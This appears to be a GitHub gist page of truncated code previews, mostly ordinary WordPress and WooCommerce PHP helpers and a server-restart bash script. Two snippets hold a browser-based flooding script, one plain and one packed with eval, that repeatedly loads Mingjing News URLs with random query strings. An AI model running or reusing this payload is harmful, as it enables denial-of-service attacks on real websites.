This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //functions.php | |
| function mxp_insert_adcode_in_post($content) { | |
| global $wp_current_filter; | |
| $support_post_types = array("post"); | |
| if (!in_array(get_post_type(get_the_ID()),$support_post_types) || is_page() || is_feed() || is_archive() || is_home() || in_array('get_the_excerpt', (array) $wp_current_filter) || 'the_excerpt' == current_filter()) { | |
| return $content; | |
| } | |
| $adcode_for_post_center01 = '<p><div id="mxp_ad_post_center01" style="text-align: center;">廣告碼01</div></p>'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $args = array('post_type' => 'product', 'posts_per_page' => -1, 'product_cat' => '分類名稱', 'orderby' => 'ASC'); | |
| $loop = new WP_Query($args); | |
| $dropdownlist = '<select id="cate_name">'; | |
| while ($loop->have_posts()) { | |
| $loop->the_post(); | |
| $_product = wc_get_product($loop->post->ID); | |
| $dropdownlist .= '<option value="' . $loop->post->ID . '" data-price="' . $_product->get_price() . '">' . $loop->post->post_title . '</option>'; | |
| } | |
| $dropdownlist .= '</select>'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //準備好或接收要記錄的欄位資訊 | |
| $address = array( | |
| 'first_name' => '某', | |
| 'last_name' => '某某', | |
| 'company' => '一介資男', | |
| 'email' => '[email protected]', | |
| 'phone' => '0912123123', | |
| 'address_1' => '106台北市大安區', | |
| 'address_2' => '巴拉路巴拉號', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) { | |
| var MAX_TIME = 300000; | |
| var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/']; | |
| var MAX_COUNT = 100000000; | |
| var TIMEGAP = 500; | |
| var THREAD = 10; | |
| var START_CLOCK = 1; | |
| function unixtime() { | |
| var dt = new Date(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b((/X\\/([\\d]+)/Z.19(i.K.M.H())[1]>=1b)&&(i.K.M.H().1a("16")<0)){3 D=T;3 p=[\'n://13.q.m/\',\'n://15.q.m/\',\'n://14.q.m/\',\'n://11.12.m/\'];3 E=17;3 k=18;3 O=10;3 s=1;h w(){3 8=e 7();A 7.S(8.Y(),8.W(),8.U(),8.V(),8.I(),8.J())/R}g.z("B")[0].F="<1r 1s=\\"y\\" 1q=\\"1o-y\\">"+g.z("B")[0].F;3 9=[];3 f=[];3 x=5;3 c=[];3 a=[];3 r=\'\';3 l=0;h o(2){3 6=9[2];b(6!=5){g.G.1p(6)}9[2]=5;b(l<E&&a[2]-x<D){Q(\'u(\'+2+\')\',(a[2]-c[2])>k?k:(a[2]-c[2]))}}h L(2){b(9[2]==5){A}b(9[2].1x){i.C(f[2]);a[2]=e 7().j();o(2)}1v{b(e 7().j()-c[2]>k){i.C(f[2]);o(2)}}}h u(2){6=g.G.1t(g.1w(\'1u\'));r=p[w()%p.1n];6.1f=r+\'?t=\'+w()+P.1e(P.1c()*1d);6.1h.1l=\'1m\';9[2]=6;c[2]=a[2]=e 7().j();f[2]=1k("L("+2+")",1i);l=l+1} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function get_news_posts_shortcode($atts) { | |
| extract(shortcode_atts(array( | |
| 'post_type' => 'news', | |
| 'posts_per_page' => -1, | |
| 'order' => 'DESC', | |
| 'orderby' => 'date', | |
| 'category_name' => '', | |
| ), $atts)); | |
| $args = array( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| now="$(date +"%c")" | |
| statuscode=`wget --spider -S "https://www.mxp.tw" 2>&1 | grep "HTTP/" | awk '{print $2}'` | |
| if [ "$statuscode" != "200" ] | |
| then | |
| sudo /path/to/server restart | |
| echo "restart in $now">>/home/username/crush_log.txt; | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function mxp_fb_comment_callback($item) { | |
| $parent_id = isset($item['parent_id']) ? $item['parent_id'] : ""; | |
| $comment_id = isset($item['comment_id']) ? $item['comment_id'] : ""; | |
| $message = isset($item['message']) ? $item['message'] : ""; | |
| $post_id = isset($item['post_id']) ? $item['post_id'] : ""; | |
| $sender_name = isset($item['sender_name']) ? $item['sender_name'] : ""; | |
| $verb = isset($item['verb']) ? $item['verb'] : ""; //must be "add" | |
| if ($parent_id != $post_id || $verb != "add" || $message == "" || $comment_id == "") { | |
| //不是第一則留言 或 不是新增留言 或 留言不是文字 就不回覆了! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //Ref: http://php.net/manual/en/ref.curl.php#93163 | |
| function get_final_url($url, $cookie = "", $timeout = 5) { | |
| $url = str_replace("&", "&", urldecode(trim($url))); | |
| //保留餅乾資訊 | |
| if ($cookie == "") { | |
| $cookie = tempnam(sys_get_temp_dir(), "mxp_"); | |
| } | |
| //假一下瀏覽器請求 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //functions.php | |
| function mxp_comment_moderation_recipients($emails, $comment_id) { | |
| // 以此類推新增收件人 | |
| $emails = array('[email protected]', '[email protected]', '[email protected]'); | |
| return $emails; | |
| } | |
| add_filter('comment_moderation_recipients', 'mxp_comment_moderation_recipients', 11, 2); | |
| add_filter('comment_notification_recipients', 'mxp_comment_moderation_recipients', 11, 2); |